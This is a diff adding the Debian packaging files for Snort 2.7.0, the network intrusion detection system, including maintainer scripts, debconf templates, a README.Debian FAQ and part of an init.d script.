+	if [ -x "`which invoke-rc.d 2>/dev/null`" ]; then
+		invoke-rc.d snort stop || exit $?
+	else
+		/etc/init.d/snort stop || exit $?
+	fi
+	;;
+    failed-upgrade)
+	;;
+    *)
+	echo "prerm called with unknown argument \`$1'" >&2
+	exit 0
+	;;
+esac
+
+# no matter if dialup, manual or boot modus!
+#if [ -x /usr/sbin/invoke-rc.d ]; then
+#	invoke-rc.d snort stop || true
+#else
+#	/etc/init.d/snort stop || true
+#fi
+# this used to be done with /etc/init.d/snort.
+# Older versions of snort just kill every process with 'snort' in the
+# name, so also 'snort.prerm'. This fixes that. 
+ps cax | grep ' snort$' | awk '{print $1}' |
+	xargs --no-run-if-empty kill -s KILL >/dev/null
+rm -f /var/run/snort_*.pid
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+exit 0
--- snort-2.7.0.orig/debian/README.Debian
+++ snort-2.7.0/debian/README.Debian
@@ -0,0 +1,133 @@
+
+ SNORT WITH DATABASE SUPPORT
+------------------------------
+ If you are using snort-pgsql or snort-mysql please notice that you have
+ to create the database structure right after installing the package
+ and start Snort manually.
+
+ In order to create the database structure do:
+
+ - if using PostgreSQL
+   $ cd /usr/share/doc/snort-pgsql/
+   $  zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>
+
+ - if using MySQL
+   $ cd /usr/share/doc/snort-mysql/
+   $ zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>
+
+ In either case fill in the correct values for the user, host, and 
+ database names. Depending on the user priviledges set on the database
+ you can use the same user that Snort will use to access the
+ database or an admin user. In either case, the user you use should
+ have priviledges to create tables and indexes. Once created you have
+ to grant the user your configured in Debconf so that it has priviledges
+ over the tables created through the schema.
+
+ Once you have setup the database, you will need to start Snort manually
+ since it was left unstarted after the installation. To do this
+ remove the file '/etc/snort/db-pending-config' and then
+ do '/etc/init.d/snort start'. Confirm that snort is working and up
+ by running '/etc/init.d/snort status' and reviewing the messages in
+ the /var/log/daemon.log syslog file.
+
+ SNORT ON MULTIPLE INTERFACES
+------------------------------
+
+This package of snort is capable of managing multiple interfaces.  The
+current init.d script is capable of launching more than one snort
+instance. You just need to answer the debconf question "On which
+interface(s) should snort listen on" with a list (separated by spaces
+of interafes you want to use). This actually modifies the value of 
+DEBIAN_SNORT_INTERFACE definition in /etc/snort/snort.debian.conf.
+
+Afterwards, you need to create different
+/etc/snort/snort.$INTERFACE.conf configuration files (where $INTERFACE
+is your interface names, e.g., eth0 or eth1) for each interface you
+want Snort to listen on. All sensors can use the same rule set so it's
+easy to update them and all your sensors simultaneously. If no
+/etc/snort/snort.$INTERFACE.conf file exists for a given interface,
+then the regular /etc/snort/snort.conf file is used.
+
+Notice, however, that the same HOME_NET definition will be used for
+all interfaces (the answer to the "address range snort will listen
+on"). The debconf scripts don't currently support a way to give
+different HOME_NET definitions to different interfaces.
+
+This is still work in progress. Please file bugs to the snort package.
+
+-----------------------------------------------------------------------------
+
+-----------------------------------------------------------------------------
+
+ FREQUENT QUESTIONS AND ANSWERS
+---------------------------------
+
+Q.  I want to use FLEXRESP rules, but snort won't start with those rules
+    enabled! What is wrong, what should I do?
+A.	FLEXRESP rules need root-priviledges to access raw ethernet interface.
+    To resolve this, start snort as root.
+
+Q0. I can reconfigure snort as often as I want but it won't ask me any
+    questions!
+A0. You are probably victim of a bug in an older version of debconf. Just do:
+    dpkg-reconfigure --priority=low debconf; dpkg-reconfigure snort
+
+Q1. How can I test snort without having an ethernet card or a connection
+    to other computers ?
+A1. You have to use routing between two dummy devices:
+    # modprobe -a dummy    (The dummy device has to be build by the kernel)
+    # ifconfig dummy0   192.168.0.1
+    # ifconfig dummy0:0 192.168.0.2
+    # telnet 192.168.0.3 12345
+
+    It's important that the second IP is on the same interface and not
+    e.g. dummy1 or dummy2 and that the IP you try to access is *not* one
+    of those you put on the interfaces. Use snort's ability to hear in
+    promiscuous mode on an IP address range. (HOMEDIR=192.168.0.0/16)
+
+Q2. I saw that syslog logging is enabled, but I can't see any warnings in
+    /var/log/syslog ?
+A2. That's because /etc/syslog.conf directs every output for the syslog
+    facility LOG_AUTH to the /var/log/auth.log file. You can still find
+    detail information about every logged scan in /var/log/snort/.
+
+Q3. You told me about the files in /var/log/snort, but I can't read them!
+A3. For performance reasons they are logged in tcpdump-binary format. You 
+    can read them with "tcpdump -r /var/log/snort/snort.log" or 
+	mkdir /tmp/dir
+    	cd /etc/snort
+	. snort.conf
+	snort -r /var/log/snort/snort.log \
+		-S "HOME_NET=$DEBIAN_SNORT_HOME_NET" \
+		-c /etc/snort/snort.conf-lib \
+		-l /tmp/dir
+    The "-l /tmp/dir" creates the files in the /tmp/dir directory which MUST
+    be existing. You can use -s instead for logging to /var/log/auth.log.
+    
+Q4. It seems you disabled some checks and modified snort-lib, why?
+A4. Because they either generated too many false positives or generate too 
+    much noise for harmless things like traceroutes or nmap fingerprint 
+    attempts. These modifications are marked by a leading #debian#.
+    For more information see /usr/share/doc/snort/README.Maintainer.
+
+Q5. How can I update my rule database with the Debian packages? 
+    (Hint: I'm running stable)
+A5. Signature updates are provided by the snort-rules-default package but
+    if you are using stable, you will not see any changes in that package
+    since they are not allowed for stable releases. If you want to keep
+    your ruleset up-to-date you have two options:
+
+    	- Use the snort-rules-default from the unstable distribution, this
+	  might work as long as it does not belong to a different Snort
+	  release since in between releases snort rules might be updated
+	  in such a way that they are not backwards compatible.
+	- Use a script to manage rule updates, such as 'oinkmaster' (currently
+	  provided as a Debian package) or 'updateSnort'
+	- Use a backported version of Snort which includes these signatures.
+
+   Always make sure that your new rules will be loaded fine by the sensor
+   by using 'snort -T' 
+
+   See also upstreams Snort FAQ item 3.18
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>, Wed Dec  1 17:01:30 2004
--- snort-2.7.0.orig/debian/snort.postrm
+++ snort-2.7.0/debian/snort.postrm
@@ -0,0 +1,63 @@
+#! /bin/sh
+# postrm script for snort
+#
+# see: dh_installdeb(1)
+
+set -e
+
+# summary of how this script can be called:
+#        * <postrm> `remove'
+#        * <postrm> `purge'
+#        * <old-postrm> `upgrade' <new-version>
+#        * <new-postrm> `failed-upgrade' <old-version>
+#        * <new-postrm> `abort-install'
+#        * <new-postrm> `abort-install' <old-version>
+#        * <new-postrm> `abort-upgrade' <old-version>
+#        * <disappearer's-postrm> `disappear' <r>overwrit>r> <new-version>
+# for details, see /usr/doc/packaging-manual/
+
+# TODO : Should use /etc/default/snort definitions?
+
+case "$1" in
+       purge|disappear)
+       		# Remove logfiles
+		rm -rf /var/log/snort/
+		
+		# Remove configuration
+		if [ -e /etc/snort/snort.debian.conf ] ; then
+			rm /etc/snort/snort.debian.conf
+		fi
+		if [ -e /etc/snort/snort.common.parameters ] ; then
+			rm /etc/snort/snort.common.parameters
+		fi
+		if [ -e /etc/default/snort ] ; then
+			rm /etc/default/snort
+		fi
+
+		# Remove configuration dir
+		[ -d /etc/snort ] && rmdir --ignore-fail-on-non-empty /etc/snort
+		
+		# Remove init.d
+		update-rc.d -f snort remove >/dev/null
+
+		# Remove user/group
+		if getent passwd | grep -q "^snort:"; then
+			userdel snort 2>/dev/null || true
+		fi
+		if getent group | grep -q "^snort:" ; then
+			delgroup --only-if-empty snort 2>/dev/null || true
+		fi
+		;;
+       remove|upgrade|failed-upgrade|abort-install|abort-upgrade)
+		# nothing
+		# We may not delete the user snort, as there may be
+		# files owned by it in /var/log/snort and /etc/snort.
+        	;;
+esac
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+
--- snort-2.7.0.orig/debian/snort-mysql.templates
+++ snort-2.7.0/debian/snort-mysql.templates
@@ -0,0 +1,180 @@
+Template: snort-mysql/startup
+Type: select
+__Choices: boot, dialup, manual
+Default: boot
+_Description: Snort start method:
+ Snort can be started during boot, when connecting to the net with pppd or
+ only manually with the /usr/sbin/snort command.
+
+Template: snort-mysql/interface
+Type: string
+Default: eth0
+_Description: Interface(s) which Snort should listen on:
+ This value is usually 'eth0', but this may be inappropriate in some
+ network environments; for a dialup connection 'ppp0' might be more
+ appropiate (see the output of '/sbin/ifconfig').
+ .
+ Typically, this is the same interface as the 'default route' is on. You can
+ determine which interface is used for this by running '/sbin/route -n'
+ (look for '0.0.0.0').
+ .
+ It is also not uncommon to use an interface with no IP address
+ configured in promiscuous mode. For such cases, select the
+ interface in this system that is physically connected to the network
+ that should be inspected, enable promiscuous mode later on and make sure
+ that the network traffic is sent to this interface (either connected
+ to a 'port mirroring/spanning' port in a switch, to a hub or to a tap).
+ .
+ You can configure multiple interfaces, just by adding more than
+ one interface name separated by spaces. Each interface can have its
+ own specific configuration.
+
+Template: snort-mysql/address_range
+Type: string
+Default: 192.168.0.0/16
+_Description: Address range for the local network:
+ Please use the CIDR form - for example, 192.168.1.0/24 for a block of
+ 256 addresses or 192.168.1.42/32 for just one. Multiple values should
+ be comma-separated (without spaces).
+ .
+ Please note that if Snort is configured to use multiple interfaces,
+ it will use this value as the HOME_NET definition for all of them.
+
+Template: snort-mysql/disable_promiscuous
+Type: boolean
+Default: false
+_Description: Should Snort disable promiscuous mode on the interface?
+ Disabling promiscuous mode means that Snort will only see packets
+ addressed to the interface it is monitoring. Enabling it allows Snort to
+ check every packet that passes the Ethernet segment even if it's a
+ connection between two other computers.
+
+
+Template: snort-mysql/invalid_interface
+Type: error
+_Description: Invalid interface
+ Snort is trying to use an interface which does not exist or is down.
+ Either it is defaulting inappropriately to 'eth0', or you specified
+ one which is invalid.
+
+Template: snort-mysql/reverse_order
+Type: boolean
+Default: false
+_Description: Should Snort's testing order be changed to Pass|Alert|Log?
+ Snort's default testing order is Alert|Pass|Log; if you accept this
+ option, the order will be changed to Pass|Alert|Log, which can make it
+ simpler to use Snort with some packet-filtering tools.
+
+Template: snort-mysql/send_stats
+Type: boolean
+Default: true
+_Description: Should daily summaries be sent by e-mail?
+ A cron job can be set up to send daily summaries of Snort logs to a
+ selected e-mail address.
+ .
+ Please choose whether you want to activate this feature.
+
+Template: snort-mysql/stats_rcpt
+Type: string
+Default: root
+_Description: Recipient of daily statistics mails:
+ Please specify the e-mail address that should receive daily summaries
+ of Snort logs.
+
+Template: snort-mysql/options
+Type: string
+_Description: Additional custom options:
+ Please specify any additional options Snort should use.
+
+Template: snort-mysql/stats_treshold
+Type: string
+Default: 1
+_Description: Minimum occurrences before alerts are reported:
+ Please enter the minimum number of alert occurrences before a given alert is
+ included in the daily statistics.
+
+Template: snort-mysql/please_restart_manually
+Type: note
+_Description: Snort restart required
+ As Snort is manually launched, you need to run '/etc/init.d/snort' for
+ the changes to take place.
+
+Template: snort-mysql/config_error
+Type: error
+_Description: Configuration error
+ The current Snort configuration is invalid and will prevent Snort
+ starting up normally. Please review and correct it.
+ .
+ To diagnose an error in a Snort configuration file, use
+ '/usr/sbin/snort -T -c <file>'.
+
+Template: snort-mysql/config_parameters
+Type: error
+_Description: Obsolete configuration file
+ This system uses an obsolete configuration file
+ (/etc/snort/snort.common.parameters)
+ which has been automatically converted into the new configuration
+ file format (at /etc/default/snort).
+ .
+ Please review the new configuration and remove the obsolete
+ one. Until you do this, the initialization script will not use the new
+ configuration and you will not take advantage of the benefits
+ introduced in newer releases.
+
+Template: snort-mysql/configure_db
+Type: boolean
+Default: true
+_Description: Set up a database for snort-mysql to log to?
+ No database has been set up for Snort to log to. Before continuing,
+ you should make sure you have:
+ .
+  - the server host name (that server must allow TCP connections
+    from this machine);
+  - a database on that server;
+  - a username and password to access the database.
+ .
+ If some of these requirements are missing, reject this option and
+ run with regular file logging support.
+ .
+ Database logging can be reconfigured later by running
+ 'dpkg-reconfigure -plow snort-mysql'.
+
+Template: snort-mysql/db_host
+Type: string
+_Description: Database server hostname:
+ Please specify the host name of a database server that allows
+ incoming connections from this host.
+
+Template: snort-mysql/db_database
+Type: string
+_Description: Database name:
+ Please specify the name of an existing database to which the
+ database user has write access.
+
+Template: snort-mysql/db_user
+Type: string
+_Description: Username for database access:
+ Please specify a database server username with write access to the database.
+
+Template: snort-mysql/db_pass
+Type: password
+_Description: Password for the database connection:
+ Please enter the password to use to connect to the Snort Alert database.
+
+
+Template: snort-mysql/needs_db_config
+Type: note
+_Description: Configured database mandatory for Snort
+ Snort needs a configured database before it can successfully start up.
+ In order to create the structure you need to run the following commands
+ AFTER the package is installed:
+ .
+  cd /usr/share/doc/snort-mysql/
+  zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>
+ .
+ Fill in the correct values for the user, host, and database names.
+ MySQL will prompt you for the password.
+ .
+ After you have created the database structure, you will need to start Snort
+ manually.
+
--- snort-2.7.0.orig/debian/snort-inline.postinst
+++ snort-2.7.0/debian/snort-inline.postinst
@@ -0,0 +1,115 @@
+#!/bin/sh -e
+
+CONFIG=/etc/snort/snort.debian.conf
+
+. /usr/share/debconf/confmodule
+test $DEBIAN_SCRIPT_DEBUG && set -v -x
+
+# summary of how this script can be called:
+#        * <postinst> `configure' <most-recently-configured-version>
+#        * <old-postinst> `abort-upgrade' <new version>
+#        * <conflictor's-postinst> `abort-remove' `in-favour' <package>
+#          <new-version>
+#        * <deconfigured's-postinst> `abort-deconfigure' `in-favour'
+#          <failed-install-package> <version> `removing'
+#          <conflicting-package> <version>
+# for details, see /usr/doc/packaging-manual/
+#
+# quoting from the policy:
+#     Any necessary prompting should almost always be confined to the
+#     post-installation script, and should be protected with a conditional
+#     so that unnecessary prompting doesn't happen if a package's
+#     installation fails and the `postinst' is called with `abort-upgrade',
+#     `abort-remove' or `abort-deconfigure'.
+
+case "$1" in
+    install)
+	;;
+    upgrade)
+	db_get snort-inline/startup || true
+	if [ "$RET" = "manual" ]; then
+		echo "You have chosen to (re)start snort manually."
+		echo "Please restart Snort manually."
+		sleep 2
+	fi
+	;;
+    configure)
+	# edit config file
+	db_get snort-inline/startup || true; 		STARTUP=$RET
+	db_get snort-inline/interface || true; 	INTERFACE="$RET"
+	db_get snort-inline/address_range || true;	ADDRESS_RANGE="$RET"
+	db_get snort-inline/reverse_order || true;	REVERSE_ORDER=$RET
+	db_get snort-inline/send_stats || true;	STATS_SEND="$RET"
+	db_get snort-inline/stats_rcpt || true;	STATS_RCPT="$RET"
+	db_get snort-inline/stats_treshold || true;	STATS_THRESHOLD="$RET"
+	db_get snort-inline/options || true;		OPTIONS="$RET"
+
+	test "$REVERSE_ORDER" = "true" && OPTIONS="$OPTIONS -o"
+	# Failsafe in case the values above are blank (jfs)
+	[ -z "$STATS_RCPT" ] && STATS_RCPT=root
+	[ -z "$STATS_THRESHOLD" ] && STATS_THRESHOLD=1
+	# STATS_RCPT=`echo "$STATS_RCPT" | sed -e 's/@/\\\\@/g' -e 's/,/\\\\,/g'`
+
+	cat <<EOF >$CONFIG
+# This file is used for options that are changed by Debian to leave
+# the original lib files untouched.
+# You have to use "dpkg-reconfigure snort" to change them.
+
+DEBIAN_SNORT_STARTUP="$STARTUP"
+DEBIAN_SNORT_HOME_NET="$ADDRESS_RANGE"
+DEBIAN_SNORT_OPTIONS="$OPTIONS"
+DEBIAN_SNORT_INTERFACE="$INTERFACE"
+DEBIAN_SNORT_SEND_STATS="$STATS_SEND"
+DEBIAN_SNORT_STATS_RCPT="$STATS_RCPT"
+DEBIAN_SNORT_STATS_THRESHOLD="$STATS_THRESHOLD"
+EOF
+
+	if [ -f /etc/snort/snort.conf ]; then
+		# Ensure the config file is readable by root.root and mode 600
+		if ! dpkg-statoverride --list /etc/snort/snort.conf >/dev/null
+		then
+			chown root:snort /etc/snort/snort.conf
+			chmod 640 /etc/snort/snort.conf
+		fi
+	fi
+
+	db_stop
+
+	# Check for left-over files from woody packages.
+	OLDCONF=/etc/snort/snort.rules.conf
+	if [ -f $OLDCONF ]; then
+		mv $OLDCONF $OLDCONF.OBSOLETE
+	fi
+
+	# Update the rc.d's
+	update-rc.d snort defaults >/dev/null
+
+	# in the case we reconfigure we have to restart and not just to start.
+	if [ -x "`which invoke-rc.d 2>/dev/null`" ]; then
+		invoke-rc.d snort stop || exit $?
+	else
+		/etc/init.d/snort stop || exit $?
+	fi
+	;;
+    abort-upgrade)
+	;;
+    *)
+	echo "postinst called with unknown argument \`$1'" >&2
+	exit 0
+	;;
+esac
+
+if [ "$STARTUP" = "boot" ] || [ "$STARTUP" = "dialup" ]; then
+	if [ -x "`which invoke-rc.d 2>/dev/null`" ]; then
+		invoke-rc.d snort start || exit $?
+	else
+		/etc/init.d/snort start || exit $?
+	fi
+fi
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+exit 0
--- snort-2.7.0.orig/debian/snort-common-libraries.dirs
+++ snort-2.7.0/debian/snort-common-libraries.dirs
@@ -0,0 +1 @@
+usr/lib
--- snort-2.7.0.orig/debian/snort-rules-default.preinst
+++ snort-2.7.0/debian/snort-rules-default.preinst
@@ -0,0 +1,126 @@
+#!/bin/sh
+
+# Preinst for snort-common-rules, currently only handles
+# migration from old /etc/snort to new /etc/snort setup
+#
+
+check_md5() {
+# if the MD5sum matches the user has not modified it, remove it
+# if it does not match then just move it to the new location
+    [ ! -f "$1" ] && return 1
+    [ -z "$2" ] && return 1
+    if md5sum $1 2>/dev/null |grep -q $2; then
+    	    echo "Removing $1 since it has not been changed"
+            rm -f $1
+    else
+    # Optionally move to a directory
+    	    if [ -n "$3" ] && [ -d "$3" ] ; then
+	    	    echo "Moving $1 to $3"
+    		    mv $1 $3
+	    fi
+    fi
+}
+
+
+if [ ! -d /etc/snort/rules ]
+then
+	mkdir -p /etc/snort/rules
+	chown root:root /etc/snort/rules
+	chmod 755 /etc/snort/rules
+fi
+
+case "$1" in
+    install|upgrade)
+        if [ "x$2" != "x" ] ; then
+            if dpkg --compare-versions $2 lt 1.9.0beta4-1 ; then
+		if [ ! -z "`ls /etc/snort/*.rules 2>/dev/null | head -1`" ]
+		then
+			echo "Checking if old rulefiles have been changed"
+			echo "
+3bc265bef3ff5fc675f9f1acf8ea6390  attack-responses.rules
+3bc265bef3ff5fc675f9f1acf8ea6390  attack-responses.rules
+c20eb0f3f140b7659ebd37f2e3553f2d  backdoor.rules
+08b710276367c03fcd26d1b3512a870d  bad-traffic.rules
+48683f29e6452e4e43f1af004f537485  ddos.rules
+f605e07289ace0adc279aa46225834a5  dns.rules
+b231ab5af973df5f06201f16be8a37ff  dos.rules
+31788f18caaed776f021e5029bdd6757  exploit.rules
+3f0c90491298edd0dfc37a6afc9ffac6  finger.rules
+a2f2068460b622a85624b664d9108b36  ftp.rules
+c580f094d32435915f893c2661fb73dc  icmp-info.rules
+3abbb384dd222225560ec87b324b63ce  icmp.rules
+9159fed0eda9c16245f4c6edb94c0d7c  info.rules
+8005f28d5e2400c474a7b765029eefb5  local.rules
+8204b5ce028496bca3f95a06dfca10b9  misc.rules
+f63f7c3c9a9f627521b0dcce1e134f1f  netbios.rules
+fe402fc3c9e795ea22af59be84683be5  policy.rules
+00b1e66fe86b46bf94460320ca71d972  porn.rules
+c23be32425937a87219ccd0ee4f85813  rpc.rules
+82a173d9144a11ea1e686fcec730549a  rservices.rules
+c9dd621a43c896dde6dd2da09575897f  scan.rules
+55a0e660ea08c314cf4d5c19f7973f83  shellcode.rules
+b304d4b570e94112d6b025d6a55007c1  smtp.rules
+ccff2e48615eb7d27466b26a9dd66b66  sql.rules
+f68e3bee2ab97ce729f20a0f4751ca04  telnet.rules
+a263d7e4526e8012aafd9daf62690519  tftp.rules
+2abd1c03364a8a1c01650764cf2af2f1  virus.rules
+fe239ae24a682d3d47251c28689fc9ec  web-attacks.rules
+2e99d333c4ab20bfd3f5694915b6d591  web-cgi.rules
+3051d9dda0ed859487580733b2a318d2  web-coldfusion.rules
+b7fc9e8371d04b5ec203651c15135657  web-frontpage.rules
+e7100df55b15a262f45d0a2940594d1f  web-iis.rules
+028a217dbdc67fea026a1f7c3dd6560b  web-misc.rules
+6e85b6a55b84bffc29fd58b8e6747b65  x11.rules
+c20eb0f3f140b7659ebd37f2e3553f2d  backdoor.rules
+08b710276367c03fcd26d1b3512a870d  bad-traffic.rules
+48683f29e6452e4e43f1af004f537485  ddos.rules
+f605e07289ace0adc279aa46225834a5  dns.rules
+b231ab5af973df5f06201f16be8a37ff  dos.rules
+31788f18caaed776f021e5029bdd6757  exploit.rules
+3f0c90491298edd0dfc37a6afc9ffac6  finger.rules
+a2f2068460b622a85624b664d9108b36  ftp.rules
+c580f094d32435915f893c2661fb73dc  icmp-info.rules
+3abbb384dd222225560ec87b324b63ce  icmp.rules
+9159fed0eda9c16245f4c6edb94c0d7c  info.rules
+8005f28d5e2400c474a7b765029eefb5  local.rules
+8204b5ce028496bca3f95a06dfca10b9  misc.rules
+f63f7c3c9a9f627521b0dcce1e134f1f  netbios.rules
+fe402fc3c9e795ea22af59be84683be5  policy.rules
+00b1e66fe86b46bf94460320ca71d972  porn.rules
+c23be32425937a87219ccd0ee4f85813  rpc.rules
+82a173d9144a11ea1e686fcec730549a  rservices.rules
+c9dd621a43c896dde6dd2da09575897f  scan.rules
+55a0e660ea08c314cf4d5c19f7973f83  shellcode.rules
+b304d4b570e94112d6b025d6a55007c1  smtp.rules
+ccff2e48615eb7d27466b26a9dd66b66  sql.rules
+f68e3bee2ab97ce729f20a0f4751ca04  telnet.rules
+a263d7e4526e8012aafd9daf62690519  tftp.rules
+2abd1c03364a8a1c01650764cf2af2f1  virus.rules
+fe239ae24a682d3d47251c28689fc9ec  web-attacks.rules
+2e99d333c4ab20bfd3f5694915b6d591  web-cgi.rules
+3051d9dda0ed859487580733b2a318d2  web-coldfusion.rules
+b7fc9e8371d04b5ec203651c15135657  web-frontpage.rules
+e7100df55b15a262f45d0a2940594d1f  web-iis.rules
+028a217dbdc67fea026a1f7c3dd6560b  web-misc.rules
+6e85b6a55b84bffc29fd58b8e6747b65  x11.rules 
+" |
+			while read md5sum file ; do
+				check_md5 /etc/snort/$file $md5sum /etc/snort/rules/
+			done
+			echo "Finished check of old rulefiles"
+			# Classification config modified?
+			check_md5 /etc/snort/classification.config 183a351fc8c3a60ed9fbbb8194e4eda1
+		fi
+            fi
+        fi
+    ;;
+    abort-upgrade)
+    ;;
+    *)
+        echo "preinst called with unknown argument \`$1'" >&2
+        exit 1
+    ;;
+esac
+
+
+#DEBHELPER#
--- snort-2.7.0.orig/debian/snort-pgsql.config
+++ snort-2.7.0/debian/snort-pgsql.config
@@ -0,0 +1,79 @@
+#!/bin/sh -e
+
+. /usr/share/debconf/confmodule
+
+db_input low snort-pgsql/startup || true
+db_go
+
+# /etc/ppp/ip-up.d/snort-pgsql is called with interface and IP number
+db_get snort-pgsql/startup
+if [ "x$RET" = "xdialup" ]; then
+  db_set snort-pgsql/interface ""
+  db_set snort-pgsql/address_range ""
+  db_set snort-pgsql/disable_promiscuous true
+else
+  db_beginblock
+  db_input medium snort-pgsql/interface || true
+  db_input high snort-pgsql/address_range || true
+  db_input low snort-pgsql/disable_promiscuous || true
+  db_endblock
+  db_go
+fi
+
+db_beginblock
+db_input low snort-pgsql/reverse_order || true
+db_input low snort-pgsql/options || true
+db_endblock
+db_go
+
+db_beginblock
+db_input low snort-pgsql/send_stats || true
+db_go
+
+db_get snort-pgsql/send_stats
+if [ $RET = true ]; then
+	db_beginblock
+	db_input medium snort-pgsql/stats_rcpt || true
+	db_input low snort-pgsql/stats_treshold || true
+	db_endblock
+	db_go
+fi
+
+db_input high snort-pgsql/configure_db || true
+db_go
+db_get snort-pgsql/configure_db
+if  [ "x$RET" = "xtrue" ]; then
+	db_beginblock
+	db_input medium snort-pgsql/db_host || true
+	db_input medium snort-pgsql/db_database || true
+	db_input medium snort-pgsql/db_user || true
+	db_input medium snort-pgsql/db_pass || true
+	db_get snort-pgsql/wait_for_db_config || true
+	if  [ "x$RET" = "xtrue" ]; then
+		db_set snort-pgsql/needs_db_config "true" || true
+	else
+		db_input medium snort-pgsql/needs_db_config || true
+	fi
+	db_endblock
+	db_go
+fi
+
+DEFAULT=/etc/default/snort
+PARAMETERS=/etc/snort/snort.common.parameters
+if [ -e "$DEFAULT" ] && [ -e "$PARAMETERS" ] ; then
+        db_beginblock
+        db_input medium snort-pgsql/config_parameters || true
+        db_endblock
+        db_go
+fi
+
+
+db_get snort-pgsql/startup
+if [ "x$RET" = "xmanual" ]; then
+	db_beginblock
+	db_input medium snort-pgsql/please_restart_manually || true
+	db_endblock
+	db_go
+fi
+
+db_stop
--- snort-2.7.0.orig/debian/snort-rules-default.postrm
+++ snort-2.7.0/debian/snort-rules-default.postrm
@@ -0,0 +1,41 @@
+#! /bin/sh
+# postrm script for snort-rules-default
+#
+# see: dh_installdeb(1)
+
+set -e
+
+# summary of how this script can be called:
+#        * <postrm> `remove'
+#        * <postrm> `purge'
+#        * <old-postrm> `upgrade' <new-version>
+#        * <new-postrm> `failed-upgrade' <old-version>
+#        * <new-postrm> `abort-install'
+#        * <new-postrm> `abort-install' <old-version>
+#        * <new-postrm> `abort-upgrade' <old-version>
+#        * <disappearer's-postrm> `disappear' <r>overwrit>r> <new-version>
+# for details, see /usr/doc/packaging-manual/
+
+case "$1" in
+	purge|disappear)
+		if [ -d /etc/snort/rules ]; then
+			rmdir --ignore-fail-on-non-empty /etc/snort/rules
+		fi
+		if [ -d /etc/snort ]; then
+			rmdir --ignore-fail-on-non-empty /etc/snort
+		fi
+		;;
+		
+	remove|upgrade|failed-upgrade|abort-install|abort-upgrade)
+		;;
+esac
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+if [ "$1" = purge ] && [ -e /usr/share/debconf/confmodule ]; then
+	. /usr/share/debconf/confmodule
+	db_purge
+fi
--- snort-2.7.0.orig/debian/generate-templates.sh
+++ snort-2.7.0/debian/generate-templates.sh
@@ -0,0 +1,23 @@
+#!/bin/sh -e
+
+# Generate templates for the Snort packages
+# This should be done whenever the templates are modified
+
+for package in "" mysql pgsql inline; do
+    packagename=$package
+    [ -n "$package" ] && packagename="-$packagename"
+    OUTPUT="snort$packagename.templates"
+    echo "Generating templates for snort$packagename at $OUTPUT"
+    cat snort.TEMPLATE.templates | sed -e "s/{PACKAGE}/$packagename/g" >$OUTPUT
+    # Add Database templates also
+    if [ "$package" = "mysql" ] || [ "$package" = "pgsql" ] ; then
+        cat snort.DATABASE.templates | sed -e "s/{PACKAGE}/$packagename/g" | sed -e "s/{DATABASE}/$package/g" >>$OUTPUT
+    fi
+            
+    # Finally, add any additional templates this package might have
+    if [ -e "snort$packagename.ADD.templates" ] ; then
+        cat "snort$packagename.ADD.templates"  >>$OUTPUT
+    fi
+done
+
+exit 0
--- snort-2.7.0.orig/debian/snort-doc.dirs
+++ snort-2.7.0/debian/snort-doc.dirs
@@ -0,0 +1 @@
+/usr/share/doc/snort
--- snort-2.7.0.orig/debian/snort-doc.doc-base.paper
+++ snort-2.7.0/debian/snort-doc.doc-base.paper
@@ -0,0 +1,16 @@
+Document: snort-paper
+Title: Snort - Lightweight Intrusion Detection for Networks
+Author: Martin Roesch
+Abstract: An overview of Snort NIDS
+ Network intrusion detection systems (NIDS) are an important part of any
+ network security architecture.  They provide a layer of defense which
+ monitors network traffic for predefined suspicious activity or patterns, and
+ alert system administrators when potential hostile traffic is detected.
+ Commercial NIDS have many differences, but Information Systems departments
+ must face the commonalities that they share such as significant system
+ footprint, complex deployment and high monetary cost.  Snort was designed to
+ address these issues.
+Section: Network/Monitoring
+
+Format: text
+Files: /usr/share/doc/snort-doc/lisapaper.txt.gz
--- snort-2.7.0.orig/debian/snort-doc.doc-base.faq
+++ snort-2.7.0/debian/snort-doc.doc-base.faq
@@ -0,0 +1,11 @@
+Document: snort-faq
+Title: Snort FAQ
+Author: The Snort Core Team
+Abstract: Frequently Asked Questions for the Snort NIDS
+ This document provides answers to some of the most common
+ (and frequently asked) questions related to the Snort network
+ intrusion detection system.
+Section: Network/Monitoring
+
+Format: pdf
+Files: /usr/share/doc/snort-doc/faq.pdf.gz
--- snort-2.7.0.orig/debian/snort-inline.init.d
+++ snort-2.7.0/debian/snort-inline.init.d
@@ -0,0 +1,254 @@
+#!/bin/sh -e
+
+test $DEBIAN_SCRIPT_DEBUG && set -v -x
+
+DAEMON=/usr/sbin/snort
+NAME=snort
+DESC="Network Intrusion Detection System"
+
+CONFIG=/etc/snort/snort.debian.conf
+# Old (obsolete) way to provide parameters
+if [ -r /etc/snort/snort.common.parameters ] ; then
+	COMMON=`cat /etc/snort/snort.common.parameters`
+elif [ -r /etc/default/snort ] ; then
+# Only read this if the old configuration is not present
+	. /etc/default/snort
+	COMMON="$PARAMS -l $LOGDIR -u $SNORTUSER -g $SNORTGROUP"
+fi
+
+test -x $DAEMON || exit 0
+test -f $CONFIG && . $CONFIG
+test -z "$DEBIAN_SNORT_HOME_NET" && DEBIAN_SNORT_HOME_NET="192.168.0.0/16"
+
+# to find the lib files
+cd /etc/snort
+
+check_log_dir() {
+# Does the logging directory belong to Snort?
+	# If we cannot determine the logdir return without error
+	# (we will not check it)
+	# This will only be used by people using /etc/default/snort
+	[ -n "$LOGDIR" ] || return 0
+	[ -n "$SNORTUSER" ] || return 0
+	if [ ! -e "$LOGDIR" ] ; then
+		echo -n "ERR: logging directory $LOGDIR does not exist"
+		return 1
+	elif [ ! -d "$LOGDIR" ] ; then
+		echo -n "ERR: logging directory $LOGDIR does not exist"
+		return 1
+	else
+		real_log_user=`stat -c %U $LOGDIR`
+	# An alternative way is to check if the snort user can create 
+	# a file there...
+		if [ "$real_log_user" != "$SNORTUSER" ] ; then
+			echo -n "ERR: logging directory $LOGDIR does not belong to the snort user $SNORTUSER"
+			return 1
+		fi
+	fi
+	return 0
+}
+
+case "$1" in
+  start)
